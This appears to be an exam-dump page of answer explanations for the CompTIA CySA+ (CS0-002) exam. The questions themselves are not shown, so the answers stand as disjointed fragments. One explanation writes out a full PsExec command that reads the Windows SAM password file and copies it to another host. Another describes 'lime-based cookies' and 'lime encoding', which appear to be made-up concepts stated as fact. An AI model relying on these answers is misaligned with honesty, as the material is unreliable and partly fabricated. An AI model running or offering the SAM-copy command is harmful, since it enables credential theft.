CS0-002 Exam Dumps - CompTIA CySA+ Certification Exam (CS0-002)

Performing a code review is the best recommendation to ensure proper error handling at runtime for an embedded software team. A code review is a process of examining and evaluating source code by one or more developers other than the original author. A code review can help to identify and fix any errors, bugs, vulnerabilities, or inefficiencies in the code before it is deployed or executed. A code review can also help to ensure that the code follows the best practices, standards, and guidelines for error handling at runtime .

A honeypot is a decoy system that is designed to attract and trap attackers, by mimicking a real system or network, but containing fake or harmless data. A honeypot can be used to collect IoCs from multiple geographic regions, by deploying it in different locations or networks, and monitoring the activities or attacks that target it. A honeypot can also provide valuable threat intelligence data that can be sold to customers.

The attack is a SQL injection attack. SQL injection is a type of attack that exploits a security vulnerability in an application’s software that allows user input to be executed as SQL commands by the underlying database3. SQL injection can enable an attacker to perform various malicious actions on the database, such as reading, modifying, deleting or creating data; executing commands; or bypassing authentication. The request shows that the attacker has entered a malicious SQL statement in the username parameter that attempts to drop (delete) all tables in the database.

The security analyst should set up a PKI (Public Key Infrastructure) between Company A and Company B and exchange shared certificates between the two entities. This will allow them to establish a more automated approach to secure data transfers between their ERP systems. A PKI is a system that provides encryption and authentication services using public key cryptography. A PKI consists of certificates, certificate authorities (CAs), and other components that enable users to securely exchange data over untrusted networks. By exchanging shared certificates between Company A and Company B, they can verify each other’s identity and encrypt their data using public and private keys.

The output shows an entry from a system log that indicates a user was trying to download a password file from a remote system using PsExec. PsExec is a command-line tool that allows users to execute processes on remote systems. The entry shows that the user “administrator” tried to run PsExec with the following parameters: \192.168.1.100 -u administrator -p P@ssw0rd -c cmd.exe /c type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt This means that the user tried to connect to the remote system with IP address 192.168.1.100 using the username “administrator” and password “P@ssw0rd”, copy cmd.exe to the remote system, and execute it with the command “type c:\windows\system32\config\SAM > \192.168.1.101\c$\temp\sam.txt”. This command attempts to read the SAM file, which contains hashed passwords of local users, and write it to a file on another system with IP address 192.168.1.101. References: CompTIA Cybersecurity Analyst (CySA+) Certification Exam Objectives (CS0-002), page 8; https://docs.microsoft.com/en-us/sysinternals/downloads/psexec

The analyst should obtain permission to perform the search before accessing the web-browsing history of an employee, as this may involve privacy or legal issues. The analyst should follow the organization’s policies and procedures, and obtain authorization from the appropriate authority, such as the manager, the human resources department, or the legal department.

Lime-based cookies are a type of cookies that use lime encoding to store data in a web browser. Lime encoding is a simple substitution cipher that replaces each character in a string with another character based on a fixed key. Lime-based cookies are easy to decode because the key is publicly available and the encoding algorithm is simple. Anyone who intercepts or accesses the lime-based cookies can easily decode them and read the data stored in them. This is a security concern because lime-based cookies are often used for session management, which means they store information about the user’s identity and preferences on a web application. If an attacker can decode the lime-based cookies, they can impersonate the user or access their sensitive information.

The hosts file is a text file that maps hostnames to IP addresses, and it can be used to override DNS resolution. The hosts file entries that should be used for further investigation are the ones that point to external or suspicious IP addresses, such as 198.51.100.5, which is a reserved IP address for documentation purposes. The other entries are either loopback addresses (::1 and 127.0.0.1) or internal network addresses (192.168.3.249), which are less likely to be malicious.